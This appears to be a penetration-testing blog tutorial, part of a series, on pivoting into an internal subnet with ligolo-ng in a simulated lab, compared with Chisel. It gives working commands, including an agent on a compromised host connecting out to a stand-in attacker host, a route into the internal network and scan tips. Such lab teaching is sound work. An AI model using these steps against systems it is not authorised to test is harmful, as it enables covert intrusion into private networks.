Pivoting and Tunneling Part 3: ligolo-ng and Tunneling Without Proxychains

Lab-only note: continuing the same simulated CONTOSO.LOCAL lab from Part 1 and Part 2. Authorised testing only.

Flags and version details below are checked against the real ligolo-ng v0.9 release (build 60fb207, dated 2026-07-13 — current at time of writing), downloaded and run directly rather than assumed from older documentation.

The architectural difference, in the project’s own words

ligolo-ng’s README is unusually direct about what makes it different from Chisel or a SOCKS setup, and it’s worth quoting the mechanism rather than paraphrasing it: instead of a SOCKS proxy or TCP/UDP forwarders, it “creates a userland network stack using Gvisor.” When the proxy runs, a TUN interface appears on the proxy host. Packets sent to that interface get translated and transmitted to the agent’s network — for a TCP connection specifically, a SYN arriving on the tun interface becomes a connect() call on the agent, a successful connect returns a SYN-ACK back through the tunnel, and a failed one (ECONNRESET, ECONNABORTED, ECONNREFUSED) comes back as an RST.

That last detail is the whole architectural story in one sentence: ligolo-ng isn’t forwarding packets, it’s translating connection intents into real socket calls on the agent side and synthesizing the TCP handshake responses back on the proxy side. Your OS on the proxy end sees a real interface with a real route to 10.10.40.0/24 and treats it exactly like a VPN tunnel — because from the routing table’s perspective, that’s precisely what it is. No proxychains, no per-application SOCKS awareness, no LD_PRELOAD hook that only catches connect().

Standing it up — verified commands

Two binaries, confirmed via their real --help output: proxy (runs on attacker infrastructure) and agent (runs on the compromised host, no privileges required per the README’s explicit claim).

# attacker infrastructure — listens on all interfaces, 0.0.0.0:11601 by default
./proxy -selfcert

-selfcert (verified flag) tells the proxy to generate its own self-signed TLS certificate on the fly rather than requiring -certfile/-keyfile pointed at a real pair — the fast path for a lab or short engagement. On the pivot host:

# FS01 — no admin/root required on the agent side
./agent -connect attacker.example:11601 -ignore-cert

-ignore-cert (verified flag, and the help text itself flags it as “dangerous, only for debug purposes”) skips TLS certificate validation entirely — fine against your own lab proxy, a real liability on an actual engagement where an on-path defender could MITM an unvalidated connection. The documented alternative is -accept-fingerprint <sha256>, pinning the proxy’s certificate the same way Chisel’s --fingerprint does — same principle as Part 2, different tool.

Once the agent checks in, the proxy’s interactive console lets you select that session and bring its tunnel up. From that point the mechanics match any other VPN-style tunnel: a ligolo TUN interface exists on the proxy host, and a standard route finishes the job —

sudo ip route add 10.10.40.0/24 dev ligolo

— after which every tool already installed on your attack box, unmodified, reaches 10.10.40.0/24 as if it were locally routed. That’s the entire pitch: no wrapper binary per tool, no -sT-only nmap restriction.

The caveat the README doesn’t bury: no raw sockets

Because the agent runs unprivileged and translates connection intents rather than forwarding raw packets, anything that depends on crafting packets below the socket API doesn’t work the way it would on a direct connection. The project’s own caveat is specific about this: a SYN-scan (nmap’s default) run through the tunnel gets a connect() on the agent side regardless of what nmap thinks it sent, and the documented fix is to run nmap accordingly:

nmap -Pn --unprivileged -sT 10.10.40.10

--unprivileged tells nmap not to assume it has raw-socket capability and to fall back to full connect()-based scanning, which is exactly what the agent can actually translate. Skip this and you’ll get scan results that look plausible and are wrong — hosts reported down that are actually up, because the SYN-only probe nmap thinks it’s sending never happens; a connect() happens instead, and a timeout on that gets misread as “closed” rather than “filtered.”

ICMP echo is supported (per the confirmed protocol list: TCP, UDP, ICMP echo requests), which is enough for basic reachability testing through the tunnel, but don’t expect traceroute-style TTL-exceeded behaviour to survive the translation layer intact — that’s a packet-level property, and packets aren’t what’s crossing the wire here.

Chisel vs. ligolo-ng — putting Part 2 and Part 3 side by side

Chisel (Part 2)ligolo-ng (Part 3)
TransportHTTP/HTTPS, SSH-protocol handshake insideRaw TCP/TLS, custom framing
Interception modelSOCKS5 proxy, needs proxychains for non-SOCKS-aware toolsTUN interface — OS routing table, no per-tool wrapper
Raw sockets / SYN scansNever worked to begin with (proxychains limitation)Explicitly unsupported — needs --unprivileged/connect()-based tooling
Blends intoOrdinary HTTPS traffic on 443A generic TLS connection on whatever port you bind — less inherently “web-shaped” than Chisel unless deliberately dressed up
Best fitEnvironments with strict egress that already permits outbound HTTPS to arbitrary destinationsEnvironments where you want full, tool-agnostic reachability into a subnet without maintaining per-service forwards

Neither replaces the other outright — a realistic engagement often runs Chisel first (it looks like nothing on strict egress) to establish initial reach, then layers ligolo-ng on top once that reach exists, precisely because ligolo-ng’s TUN interface removes the connect()-only ceiling that both Chisel’s SOCKS mode and plain SSH -D share.

Where Part 4 picks up

Everything in this post has quietly glossed over a detail that matters a great deal once you’re moving real traffic rather than a single scan: a TUN interface, an outer TLS connection, and the underlying network path are three separate MTUs stacked on top of each other, and PMTUD across that stack does not behave the way it does on a normal LAN segment. Part 4 goes deep on exactly that, using the same measurement instincts behind pmtud-sweeper.

Where this fits

The gVisor-based translation approach here is a genuinely different animal from the SSH/SOCKS material in Part 1 and Part 2 — it’s the same “userland network stack” idea covered from the defensive/observability side in Cilium, Kubernetes Networking, and eBPF, and the connect()-translation caveat above is exactly the kind of nmap behaviour explained more generally in nmap and the Scripting Engine.